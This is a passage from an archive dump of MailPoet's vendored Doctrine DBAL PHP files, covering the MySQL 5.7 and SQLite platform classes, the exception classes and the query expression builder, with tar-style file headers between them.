namespace MailPoetVendor\Doctrine\DBAL\Platforms; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Schema\Index; use MailPoetVendor\Doctrine\DBAL\Schema\TableDiff; class MySQL57Platform extends \MailPoetVendor\Doctrine\DBAL\Platforms\MySqlPlatform { protected function getPreAlterTableRenameIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { return array(); } protected function getPostAlterTableRenameIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { return array(); } protected function getRenameIndexSQL($oldIndexName, \MailPoetVendor\Doctrine\DBAL\Schema\Index $index, $tableName) { return array('ALTER TABLE ' . $tableName . ' RENAME INDEX ' . $oldIndexName . ' TO ' . $index->getQuotedName($this)); } protected function getReservedKeywordsClass() { return 'MailPoetVendor\\Doctrine\\DBAL\\Platforms\\Keywords\\MySQL57Keywords'; } } Doctrine/DBAL/Platforms/SqlitePlatform.php 0000666 00000056072 15035130072 0014455 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Platforms; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\DBALException; use MailPoetVendor\Doctrine\DBAL\Schema\Column; use MailPoetVendor\Doctrine\DBAL\Schema\TableDiff; use MailPoetVendor\Doctrine\DBAL\Schema\Table; use MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint; use MailPoetVendor\Doctrine\DBAL\Schema\Index; use MailPoetVendor\Doctrine\DBAL\Schema\Identifier; use MailPoetVendor\Doctrine\DBAL\Schema\Constraint; class SqlitePlatform extends \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform { public function getRegexpExpression() { return 'REGEXP'; } public function getGuidExpression() { return "HEX(RANDOMBLOB(4)) || '-' || HEX(RANDOMBLOB(2)) || '-4' || " . "SUBSTR(HEX(RANDOMBLOB(2)), 2) || '-' || " . "SUBSTR('89AB', 1 + (ABS(RANDOM()) % 4), 1) || " . "SUBSTR(HEX(RANDOMBLOB(2)), 2) || '-' || HEX(RANDOMBLOB(6))"; } public function getNowExpression($type = 'timestamp') { switch ($type) { case 'time': return 'time(\'now\')'; case 'date': return 'date(\'now\')'; case 'timestamp': default: return 'datetime(\'now\')'; } } public function getTrimExpression($str, $pos = self::TRIM_UNSPECIFIED, $char = \false) { $trimChar = $char != \false ? ', ' . $char : ''; switch ($pos) { case self::TRIM_LEADING: $trimFn = 'LTRIM'; break; case self::TRIM_TRAILING: $trimFn = 'RTRIM'; break; default: $trimFn = 'TRIM'; } return $trimFn . '(' . $str . $trimChar . ')'; } public function getSubstringExpression($value, $position, $length = null) { if ($length !== null) { return 'SUBSTR(' . $value . ', ' . $position . ', ' . $length . ')'; } return 'SUBSTR(' . $value . ', ' . $position . ', LENGTH(' . $value . '))'; } public function getLocateExpression($str, $substr, $startPos = \false) { if ($startPos == \false) { return 'LOCATE(' . $str . ', ' . $substr . ')'; } return 'LOCATE(' . $str . ', ' . $substr . ', ' . $startPos . ')'; } protected function getDateArithmeticIntervalExpression($date, $operator, $interval, $unit) { switch ($unit) { case self::DATE_INTERVAL_UNIT_SECOND: case self::DATE_INTERVAL_UNIT_MINUTE: case self::DATE_INTERVAL_UNIT_HOUR: return "DATETIME(" . $date . ",'" . $operator . $interval . " " . $unit . "')"; default: switch ($unit) { case self::DATE_INTERVAL_UNIT_WEEK: $interval *= 7; $unit = self::DATE_INTERVAL_UNIT_DAY; break; case self::DATE_INTERVAL_UNIT_QUARTER: $interval *= 3; $unit = self::DATE_INTERVAL_UNIT_MONTH; break; } return "DATE(" . $date . ",'" . $operator . $interval . " " . $unit . "')"; } } public function getDateDiffExpression($date1, $date2) { return 'ROUND(JULIANDAY(' . $date1 . ')-JULIANDAY(' . $date2 . '))'; } protected function _getTransactionIsolationLevelSQL($level) { switch ($level) { case \MailPoetVendor\Doctrine\DBAL\Connection::TRANSACTION_READ_UNCOMMITTED: return 0; case \MailPoetVendor\Doctrine\DBAL\Connection::TRANSACTION_READ_COMMITTED: case \MailPoetVendor\Doctrine\DBAL\Connection::TRANSACTION_REPEATABLE_READ: case \MailPoetVendor\Doctrine\DBAL\Connection::TRANSACTION_SERIALIZABLE: return 1; default: return parent::_getTransactionIsolationLevelSQL($level); } } public function getSetTransactionIsolationSQL($level) { return 'PRAGMA read_uncommitted = ' . $this->_getTransactionIsolationLevelSQL($level); } public function prefersIdentityColumns() { return \true; } public function getBooleanTypeDeclarationSQL(array $field) { return 'BOOLEAN'; } public function getIntegerTypeDeclarationSQL(array $field) { return 'INTEGER' . $this->_getCommonIntegerTypeDeclarationSQL($field); } public function getBigIntTypeDeclarationSQL(array $field) { if (!empty($field['autoincrement'])) { return $this->getIntegerTypeDeclarationSQL($field); } return 'BIGINT' . $this->_getCommonIntegerTypeDeclarationSQL($field); } public function getTinyIntTypeDeclarationSql(array $field) { if (!empty($field['autoincrement'])) { return $this->getIntegerTypeDeclarationSQL($field); } return 'TINYINT' . $this->_getCommonIntegerTypeDeclarationSQL($field); } public function getSmallIntTypeDeclarationSQL(array $field) { if (!empty($field['autoincrement'])) { return $this->getIntegerTypeDeclarationSQL($field); } return 'SMALLINT' . $this->_getCommonIntegerTypeDeclarationSQL($field); } public function getMediumIntTypeDeclarationSql(array $field) { if (!empty($field['autoincrement'])) { return $this->getIntegerTypeDeclarationSQL($field); } return 'MEDIUMINT' . $this->_getCommonIntegerTypeDeclarationSQL($field); } public function getDateTimeTypeDeclarationSQL(array $fieldDeclaration) { return 'DATETIME'; } public function getDateTypeDeclarationSQL(array $fieldDeclaration) { return 'DATE'; } public function getTimeTypeDeclarationSQL(array $fieldDeclaration) { return 'TIME'; } protected function _getCommonIntegerTypeDeclarationSQL(array $columnDef) { if (!empty($columnDef['autoincrement'])) { return ''; } return !empty($columnDef['unsigned']) ? ' UNSIGNED' : ''; } public function getForeignKeyDeclarationSQL(\MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint $foreignKey) { return parent::getForeignKeyDeclarationSQL(new \MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint($foreignKey->getQuotedLocalColumns($this), \str_replace('.', '__', $foreignKey->getQuotedForeignTableName($this)), $foreignKey->getQuotedForeignColumns($this), $foreignKey->getName(), $foreignKey->getOptions())); } protected function _getCreateTableSQL($name, array $columns, array $options = array()) { $name = \str_replace('.', '__', $name); $queryFields = $this->getColumnDeclarationListSQL($columns); if (isset($options['uniqueConstraints']) && !empty($options['uniqueConstraints'])) { foreach ($options['uniqueConstraints'] as $name => $definition) { $queryFields .= ', ' . $this->getUniqueConstraintDeclarationSQL($name, $definition); } } if (isset($options['primary']) && !empty($options['primary'])) { $keyColumns = \array_unique(\array_values($options['primary'])); $queryFields .= ', PRIMARY KEY(' . \implode(', ', $keyColumns) . ')'; } if (isset($options['foreignKeys'])) { foreach ($options['foreignKeys'] as $foreignKey) { $queryFields .= ', ' . $this->getForeignKeyDeclarationSQL($foreignKey); } } $query[] = 'CREATE TABLE ' . $name . ' (' . $queryFields . ')'; if (isset($options['alter']) && \true === $options['alter']) { return $query; } if (isset($options['indexes']) && !empty($options['indexes'])) { foreach ($options['indexes'] as $indexDef) { $query[] = $this->getCreateIndexSQL($indexDef, $name); } } if (isset($options['unique']) && !empty($options['unique'])) { foreach ($options['unique'] as $indexDef) { $query[] = $this->getCreateIndexSQL($indexDef, $name); } } return $query; } protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed) { return $fixed ? $length ? 'CHAR(' . $length . ')' : 'CHAR(255)' : ($length ? 'VARCHAR(' . $length . ')' : 'TEXT'); } protected function getBinaryTypeDeclarationSQLSnippet($length, $fixed) { return 'BLOB'; } public function getBinaryMaxLength() { return 0; } public function getBinaryDefaultLength() { return 0; } public function getClobTypeDeclarationSQL(array $field) { return 'CLOB'; } public function getListTableConstraintsSQL($table) { $table = \str_replace('.', '__', $table); $table = $this->quoteStringLiteral($table); return "SELECT sql FROM sqlite_master WHERE type='index' AND tbl_name = {$table} AND sql NOT NULL ORDER BY name"; } public function getListTableColumnsSQL($table, $currentDatabase = null) { $table = \str_replace('.', '__', $table); $table = $this->quoteStringLiteral($table); return "PRAGMA table_info({$table})"; } public function getListTableIndexesSQL($table, $currentDatabase = null) { $table = \str_replace('.', '__', $table); $table = $this->quoteStringLiteral($table); return "PRAGMA index_list({$table})"; } public function getListTablesSQL() { return "SELECT name FROM sqlite_master WHERE type = 'table' AND name != 'sqlite_sequence' AND name != 'geometry_columns' AND name != 'spatial_ref_sys' " . "UNION ALL SELECT name FROM sqlite_temp_master " . "WHERE type = 'table' ORDER BY name"; } public function getListViewsSQL($database) { return "SELECT name, sql FROM sqlite_master WHERE type='view' AND sql NOT NULL"; } public function getCreateViewSQL($name, $sql) { return 'CREATE VIEW ' . $name . ' AS ' . $sql; } public function getDropViewSQL($name) { return 'DROP VIEW ' . $name; } public function getAdvancedForeignKeyOptionsSQL(\MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint $foreignKey) { $query = parent::getAdvancedForeignKeyOptionsSQL($foreignKey); $query .= ($foreignKey->hasOption('deferrable') && $foreignKey->getOption('deferrable') !== \false ? ' ' : ' NOT ') . 'DEFERRABLE'; $query .= ' INITIALLY ' . ($foreignKey->hasOption('deferred') && $foreignKey->getOption('deferred') !== \false ? 'DEFERRED' : 'IMMEDIATE'); return $query; } public function supportsIdentityColumns() { return \true; } public function supportsColumnCollation() { return \true; } public function getName() { return 'sqlite'; } public function getTruncateTableSQL($tableName, $cascade = \false) { $tableIdentifier = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($tableName); $tableName = \str_replace('.', '__', $tableIdentifier->getQuotedName($this)); return 'DELETE FROM ' . $tableName; } public static function udfSqrt($value) { return \sqrt($value); } public static function udfMod($a, $b) { return $a % $b; } public static function udfLocate($str, $substr, $offset = 0) { if ($offset > 0) { $offset -= 1; } $pos = \strpos($str, $substr, $offset); if ($pos !== \false) { return $pos + 1; } return 0; } public function getForUpdateSql() { return ''; } protected function initializeDoctrineTypeMappings() { $this->doctrineTypeMapping = array('boolean' => 'boolean', 'tinyint' => 'boolean', 'smallint' => 'smallint', 'mediumint' => 'integer', 'int' => 'integer', 'integer' => 'integer', 'serial' => 'integer', 'bigint' => 'bigint', 'bigserial' => 'bigint', 'clob' => 'text', 'tinytext' => 'text', 'mediumtext' => 'text', 'longtext' => 'text', 'text' => 'text', 'varchar' => 'string', 'longvarchar' => 'string', 'varchar2' => 'string', 'nvarchar' => 'string', 'image' => 'string', 'ntext' => 'string', 'char' => 'string', 'date' => 'date', 'datetime' => 'datetime', 'timestamp' => 'datetime', 'time' => 'time', 'float' => 'float', 'double' => 'float', 'double precision' => 'float', 'real' => 'float', 'decimal' => 'decimal', 'numeric' => 'decimal', 'blob' => 'blob'); } protected function getReservedKeywordsClass() { return 'MailPoetVendor\\Doctrine\\DBAL\\Platforms\\Keywords\\SQLiteKeywords'; } protected function getPreAlterTableIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { if (!$diff->fromTable instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException('Sqlite platform requires for alter table the table diff with reference to original table schema'); } $sql = array(); foreach ($diff->fromTable->getIndexes() as $index) { if (!$index->isPrimary()) { $sql[] = $this->getDropIndexSQL($index, $diff->name); } } return $sql; } protected function getPostAlterTableIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { if (!$diff->fromTable instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException('Sqlite platform requires for alter table the table diff with reference to original table schema'); } $sql = array(); $tableName = $diff->newName ? $diff->getNewName() : $diff->getName($this); foreach ($this->getIndexesInAlteredTable($diff) as $index) { if ($index->isPrimary()) { continue; } $sql[] = $this->getCreateIndexSQL($index, $tableName->getQuotedName($this)); } return $sql; } protected function doModifyLimitQuery($query, $limit, $offset) { if (null === $limit && null !== $offset) { return $query . ' LIMIT -1 OFFSET ' . $offset; } return parent::doModifyLimitQuery($query, $limit, $offset); } public function getBlobTypeDeclarationSQL(array $field) { return 'BLOB'; } public function getTemporaryTableName($tableName) { $tableName = \str_replace('.', '__', $tableName); return $tableName; } public function canEmulateSchemas() { return \true; } public function supportsForeignKeyConstraints() { return \false; } public function getCreatePrimaryKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\Index $index, $table) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException('Sqlite platform does not support alter primary key.'); } public function getCreateForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint $foreignKey, $table) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException('Sqlite platform does not support alter foreign key.'); } public function getDropForeignKeySQL($foreignKey, $table) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException('Sqlite platform does not support alter foreign key.'); } public function getCreateConstraintSQL(\MailPoetVendor\Doctrine\DBAL\Schema\Constraint $constraint, $table) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException('Sqlite platform does not support alter constraint.'); } public function getCreateTableSQL(\MailPoetVendor\Doctrine\DBAL\Schema\Table $table, $createFlags = null) { $createFlags = null === $createFlags ? self::CREATE_INDEXES | self::CREATE_FOREIGNKEYS : $createFlags; return parent::getCreateTableSQL($table, $createFlags); } public function getListTableForeignKeysSQL($table, $database = null) { $table = \str_replace('.', '__', $table); $table = $this->quoteStringLiteral($table); return "PRAGMA foreign_key_list({$table})"; } public function getAlterTableSQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $sql = $this->getSimpleAlterTableSQL($diff); if (\false !== $sql) { return $sql; } $fromTable = $diff->fromTable; if (!$fromTable instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException('Sqlite platform requires for alter table the table diff with reference to original table schema'); } $table = clone $fromTable; $columns = array(); $oldColumnNames = array(); $newColumnNames = array(); $columnSql = array(); foreach ($table->getColumns() as $columnName => $column) { $columnName = \strtolower($columnName); $columns[$columnName] = $column; $oldColumnNames[$columnName] = $newColumnNames[$columnName] = $column->getQuotedName($this); } foreach ($diff->removedColumns as $columnName => $column) { if ($this->onSchemaAlterTableRemoveColumn($column, $diff, $columnSql)) { continue; } $columnName = \strtolower($columnName); if (isset($columns[$columnName])) { unset($columns[$columnName]); unset($oldColumnNames[$columnName]); unset($newColumnNames[$columnName]); } } foreach ($diff->renamedColumns as $oldColumnName => $column) { if ($this->onSchemaAlterTableRenameColumn($oldColumnName, $column, $diff, $columnSql)) { continue; } $oldColumnName = \strtolower($oldColumnName); if (isset($columns[$oldColumnName])) { unset($columns[$oldColumnName]); } $columns[\strtolower($column->getName())] = $column; if (isset($newColumnNames[$oldColumnName])) { $newColumnNames[$oldColumnName] = $column->getQuotedName($this); } } foreach ($diff->changedColumns as $oldColumnName => $columnDiff) { if ($this->onSchemaAlterTableChangeColumn($columnDiff, $diff, $columnSql)) { continue; } if (isset($columns[$oldColumnName])) { unset($columns[$oldColumnName]); } $columns[\strtolower($columnDiff->column->getName())] = $columnDiff->column; if (isset($newColumnNames[$oldColumnName])) { $newColumnNames[$oldColumnName] = $columnDiff->column->getQuotedName($this); } } foreach ($diff->addedColumns as $columnName => $column) { if ($this->onSchemaAlterTableAddColumn($column, $diff, $columnSql)) { continue; } $columns[\strtolower($columnName)] = $column; } $sql = array(); $tableSql = array(); if (!$this->onSchemaAlterTable($diff, $tableSql)) { $dataTable = new \MailPoetVendor\Doctrine\DBAL\Schema\Table('__temp__' . $table->getName()); $newTable = new \MailPoetVendor\Doctrine\DBAL\Schema\Table($table->getQuotedName($this), $columns, $this->getPrimaryIndexInAlteredTable($diff), $this->getForeignKeysInAlteredTable($diff), 0, $table->getOptions()); $newTable->addOption('alter', \true); $sql = $this->getPreAlterTableIndexForeignKeySQL($diff); $sql[] = \sprintf('CREATE TEMPORARY TABLE %s AS SELECT %s FROM %s', $dataTable->getQuotedName($this), \implode(', ', $oldColumnNames), $table->getQuotedName($this)); $sql[] = $this->getDropTableSQL($fromTable); $sql = \array_merge($sql, $this->getCreateTableSQL($newTable)); $sql[] = \sprintf('INSERT INTO %s (%s) SELECT %s FROM %s', $newTable->getQuotedName($this), \implode(', ', $newColumnNames), \implode(', ', $oldColumnNames), $dataTable->getQuotedName($this)); $sql[] = $this->getDropTableSQL($dataTable); if ($diff->newName && $diff->newName != $diff->name) { $renamedTable = $diff->getNewName(); $sql[] = 'ALTER TABLE ' . $newTable->getQuotedName($this) . ' RENAME TO ' . $renamedTable->getQuotedName($this); } $sql = \array_merge($sql, $this->getPostAlterTableIndexForeignKeySQL($diff)); } return \array_merge($sql, $tableSql, $columnSql); } private function getSimpleAlterTableSQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { foreach ($diff->changedColumns as $oldColumnName => $columnDiff) { if (!$columnDiff->fromColumn instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Column || !$columnDiff->column instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Column || !$columnDiff->column->getAutoincrement() || !(string) $columnDiff->column->getType() === 'Integer') { continue; } if (!$columnDiff->hasChanged('type') && $columnDiff->hasChanged('unsigned')) { unset($diff->changedColumns[$oldColumnName]); continue; } $fromColumnType = (string) $columnDiff->fromColumn->getType(); if ($fromColumnType === 'SmallInt' || $fromColumnType === 'BigInt') { unset($diff->changedColumns[$oldColumnName]); } } if (!empty($diff->renamedColumns) || !empty($diff->addedForeignKeys) || !empty($diff->addedIndexes) || !empty($diff->changedColumns) || !empty($diff->changedForeignKeys) || !empty($diff->changedIndexes) || !empty($diff->removedColumns) || !empty($diff->removedForeignKeys) || !empty($diff->removedIndexes) || !empty($diff->renamedIndexes)) { return \false; } $table = new \MailPoetVendor\Doctrine\DBAL\Schema\Table($diff->name); $sql = array(); $tableSql = array(); $columnSql = array(); foreach ($diff->addedColumns as $column) { if ($this->onSchemaAlterTableAddColumn($column, $diff, $columnSql)) { continue; } $field = \array_merge(array('unique' => null, 'autoincrement' => null, 'default' => null), $column->toArray()); $type = (string) $field['type']; switch (\true) { case isset($field['columnDefinition']) || $field['autoincrement'] || $field['unique']: case $type == 'DateTime' && $field['default'] == $this->getCurrentTimestampSQL(): case $type == 'Date' && $field['default'] == $this->getCurrentDateSQL(): case $type == 'Time' && $field['default'] == $this->getCurrentTimeSQL(): return \false; } $field['name'] = $column->getQuotedName($this); if (\strtolower($field['type']) == 'string' && $field['length'] === null) { $field['length'] = 255; } $sql[] = 'ALTER TABLE ' . $table->getQuotedName($this) . ' ADD COLUMN ' . $this->getColumnDeclarationSQL($field['name'], $field); } if (!$this->onSchemaAlterTable($diff, $tableSql)) { if ($diff->newName !== \false) { $newTable = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($diff->newName); $sql[] = 'ALTER TABLE ' . $table->getQuotedName($this) . ' RENAME TO ' . $newTable->getQuotedName($this); } } return \array_merge($sql, $tableSql, $columnSql); } private function getColumnNamesInAlteredTable(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $columns = array(); foreach ($diff->fromTable->getColumns() as $columnName => $column) { $columns[\strtolower($columnName)] = $column->getName(); } foreach ($diff->removedColumns as $columnName => $column) { $columnName = \strtolower($columnName); if (isset($columns[$columnName])) { unset($columns[$columnName]); } } foreach ($diff->renamedColumns as $oldColumnName => $column) { $columnName = $column->getName(); $columns[\strtolower($oldColumnName)] = $columnName; $columns[\strtolower($columnName)] = $columnName; } foreach ($diff->changedColumns as $oldColumnName => $columnDiff) { $columnName = $columnDiff->column->getName(); $columns[\strtolower($oldColumnName)] = $columnName; $columns[\strtolower($columnName)] = $columnName; } foreach ($diff->addedColumns as $columnName => $column) { $columns[\strtolower($columnName)] = $columnName; } return $columns; } private function getIndexesInAlteredTable(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $indexes = $diff->fromTable->getIndexes(); $columnNames = $this->getColumnNamesInAlteredTable($diff); foreach ($indexes as $key => $index) { foreach ($diff->renamedIndexes as $oldIndexName => $renamedIndex) { if (\strtolower($key) === \strtolower($oldIndexName)) { unset($indexes[$key]); } } $changed = \false; $indexColumns = array(); foreach ($index->getColumns() as $columnName) { $normalizedColumnName = \strtolower($columnName); if (!isset($columnNames[$normalizedColumnName])) { unset($indexes[$key]); continue 2; } else { $indexColumns[] = $columnNames[$normalizedColumnName]; if ($columnName !== $columnNames[$normalizedColumnName]) { $changed = \true; } } } if ($changed) { $indexes[$key] = new \MailPoetVendor\Doctrine\DBAL\Schema\Index($index->getName(), $indexColumns, $index->isUnique(), $index->isPrimary(), $index->getFlags()); } } foreach ($diff->removedIndexes as $index) { $indexName = \strtolower($index->getName()); if (\strlen($indexName) && isset($indexes[$indexName])) { unset($indexes[$indexName]); } } foreach (\array_merge($diff->changedIndexes, $diff->addedIndexes, $diff->renamedIndexes) as $index) { $indexName = \strtolower($index->getName()); if (\strlen($indexName)) { $indexes[$indexName] = $index; } else { $indexes[] = $index; } } return $indexes; } private function getForeignKeysInAlteredTable(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $foreignKeys = $diff->fromTable->getForeignKeys(); $columnNames = $this->getColumnNamesInAlteredTable($diff); foreach ($foreignKeys as $key => $constraint) { $changed = \false; $localColumns = array(); foreach ($constraint->getLocalColumns() as $columnName) { $normalizedColumnName = \strtolower($columnName); if (!isset($columnNames[$normalizedColumnName])) { unset($foreignKeys[$key]); continue 2; } else { $localColumns[] = $columnNames[$normalizedColumnName]; if ($columnName !== $columnNames[$normalizedColumnName]) { $changed = \true; } } } if ($changed) { $foreignKeys[$key] = new \MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint($localColumns, $constraint->getForeignTableName(), $constraint->getForeignColumns(), $constraint->getName(), $constraint->getOptions()); } } foreach ($diff->removedForeignKeys as $constraint) { $constraintName = \strtolower($constraint->getName()); if (\strlen($constraintName) && isset($foreignKeys[$constraintName])) { unset($foreignKeys[$constraintName]); } } foreach (\array_merge($diff->changedForeignKeys, $diff->addedForeignKeys) as $constraint) { $constraintName = \strtolower($constraint->getName()); if (\strlen($constraintName)) { $foreignKeys[$constraintName] = $constraint; } else { $foreignKeys[] = $constraint; } } return $foreignKeys; } private function getPrimaryIndexInAlteredTable(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $primaryIndex = array(); foreach ($this->getIndexesInAlteredTable($diff) as $index) { if ($index->isPrimary()) { $primaryIndex = array($index->getName() => $index); } } return $primaryIndex; } } Doctrine/DBAL/DBALException.php 0000666 00000011043 15035130072 0012106 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Driver\DriverException; use MailPoetVendor\Doctrine\DBAL\Driver\ExceptionConverterDriver; class DBALException extends \Exception { public static function notSupported($method) { return new self("Operation '{$method}' is not supported by platform."); } public static function invalidPlatformSpecified() { return new self("Invalid 'platform' option specified, need to give an instance of " . "\\Doctrine\\DBAL\\Platforms\\AbstractPlatform."); } public static function invalidPlatformVersionSpecified($version, $expectedFormat) { return new self(\sprintf('Invalid platform version "%s" specified. ' . 'The platform version has to be specified in the format: "%s".', $version, $expectedFormat)); } public static function invalidPdoInstance() { return new self("The 'pdo' option was used in DriverManager::getConnection() but no " . "instance of PDO was given."); } public static function driverRequired($url = null) { if ($url) { return new self(\sprintf("The options 'driver' or 'driverClass' are mandatory if a connection URL without scheme " . "is given to DriverManager::getConnection(). Given URL: %s", $url)); } return new self("The options 'driver' or 'driverClass' are mandatory if no PDO " . "instance is given to DriverManager::getConnection()."); } public static function unknownDriver($unknownDriverName, array $knownDrivers) { return new self("The given 'driver' " . $unknownDriverName . " is unknown, " . "Doctrine currently supports only the following drivers: " . \implode(", ", $knownDrivers)); } public static function driverExceptionDuringQuery(\MailPoetVendor\Doctrine\DBAL\Driver $driver, \Exception $driverEx, $sql, array $params = array()) { $msg = "An exception occurred while executing '" . $sql . "'"; if ($params) { $msg .= " with params " . self::formatParameters($params); } $msg .= ":\n\n" . $driverEx->getMessage(); if ($driver instanceof \MailPoetVendor\Doctrine\DBAL\Driver\ExceptionConverterDriver && $driverEx instanceof \MailPoetVendor\Doctrine\DBAL\Driver\DriverException) { return $driver->convertException($msg, $driverEx); } return new self($msg, 0, $driverEx); } public static function driverException(\MailPoetVendor\Doctrine\DBAL\Driver $driver, \Exception $driverEx) { $msg = "An exception occured in driver: " . $driverEx->getMessage(); if ($driver instanceof \MailPoetVendor\Doctrine\DBAL\Driver\ExceptionConverterDriver && $driverEx instanceof \MailPoetVendor\Doctrine\DBAL\Driver\DriverException) { return $driver->convertException($msg, $driverEx); } return new self($msg, 0, $driverEx); } private static function formatParameters(array $params) { return '[' . \implode(', ', \array_map(function ($param) { $json = @\json_encode($param); if (!\is_string($json) || $json == 'null' && \is_string($param)) { return '"\\x' . \implode('\\x', \str_split(\bin2hex($param), 2)) . '"'; } return $json; }, $params)) . ']'; } public static function invalidWrapperClass($wrapperClass) { return new self("The given 'wrapperClass' " . $wrapperClass . " has to be a " . "subtype of \\Doctrine\\DBAL\\Connection."); } public static function invalidDriverClass($driverClass) { return new self("The given 'driverClass' " . $driverClass . " has to implement the " . "\\Doctrine\\DBAL\\Driver interface."); } public static function invalidTableName($tableName) { return new self("Invalid table name specified: " . $tableName); } public static function noColumnsSpecifiedForTable($tableName) { return new self("No columns specified for table " . $tableName); } public static function limitOffsetInvalid() { return new self("Invalid Offset in Limit Query, it has to be larger or equal to 0."); } public static function typeExists($name) { return new self('Type ' . $name . ' already exists.'); } public static function unknownColumnType($name) { return new self('Unknown column type "' . $name . '" requested. Any Doctrine type that you use has ' . 'to be registered with \\Doctrine\\DBAL\\Types\\Type::addType(). You can get a list of all the ' . 'known types with \\Doctrine\\DBAL\\Types\\Type::getTypesMap(). If this error occurs during database ' . 'introspection then you might have forgot to register all database types for a Doctrine Type. Use ' . 'AbstractPlatform#registerDoctrineTypeMapping() or have your custom types implement ' . 'Type#getMappedDatabaseTypes(). If the type name is empty you might ' . 'have a problem with the cache or forgot some mapping information.'); } public static function typeNotFound($name) { return new self('Type to be overwritten ' . $name . ' does not exist.'); } } Doctrine/DBAL/Query/QueryException.php 0000666 00000001330 15035130072 0013614 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Query; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\DBALException; class QueryException extends \MailPoetVendor\Doctrine\DBAL\DBALException { public static function unknownAlias($alias, $registeredAliases) { return new self("The given alias '" . $alias . "' is not part of " . "any FROM or JOIN clause table. The currently registered " . "aliases are: " . \implode(", ", $registeredAliases) . "."); } public static function nonUniqueAlias($alias, $registeredAliases) { return new self("The given alias '" . $alias . "' is not unique " . "in FROM and JOIN clause table. The currently registered " . "aliases are: " . \implode(", ", $registeredAliases) . "."); } } Doctrine/DBAL/Query/Expression/ExpressionBuilder.php 0000666 00000003661 15035130072 0016446 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Query\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Connection; class ExpressionBuilder { const EQ = '='; const NEQ = '<>'; const LT = '<'; const LTE = '<='; const GT = '>'; const GTE = '>='; private $connection; public function __construct(\MailPoetVendor\Doctrine\DBAL\Connection $connection) { $this->connection = $connection; } public function andX($x = null) { return new \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression(\MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_AND, \func_get_args()); } public function orX($x = null) { return new \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression(\MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_OR, \func_get_args()); } public function comparison($x, $operator, $y) { return $x . ' ' . $operator . ' ' . $y; } public function eq($x, $y) { return $this->comparison($x, self::EQ, $y); } public function neq($x, $y) { return $this->comparison($x, self::NEQ, $y); } public function lt($x, $y) { return $this->comparison($x, self::LT, $y); } public function lte($x, $y) { return $this->comparison($x, self::LTE, $y); } public function gt($x, $y) { return $this->comparison($x, self::GT, $y); } public function gte($x, $y) { return $this->comparison($x, self::GTE, $y); } public function isNull($x) { return $x . ' IS NULL'; } public function isNotNull($x) { return $x . ' IS NOT NULL'; } public function like($x, $y) { return $this->comparison($x, 'LIKE', $y); } public function notLike($x, $y) { return $this->comparison($x, 'NOT LIKE', $y); } public function in($x, $y) { return $this->comparison($x, 'IN', '(' . \implode(', ', (array) $y) . ')'); } public function notIn($x, $y) { return $this->comparison($x, 'NOT IN', '(' . \implode(', ', (array) $y) . ')'); } public function literal($input, $type = null) { return $this->connection->quote($input, $type); } } Doctrine/DBAL/Query/Expression/CompositeExpression.php 0000666 00000001573 15035130072 0017022 0 ustar 00 <?php
